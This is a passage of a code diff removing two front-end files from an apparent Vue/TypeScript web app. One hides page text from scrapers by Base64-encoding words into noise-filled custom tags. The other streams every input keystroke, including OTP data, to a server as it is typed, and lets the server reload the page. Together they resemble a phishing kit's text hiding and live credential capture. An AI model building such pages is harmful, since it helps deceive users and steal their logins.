(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
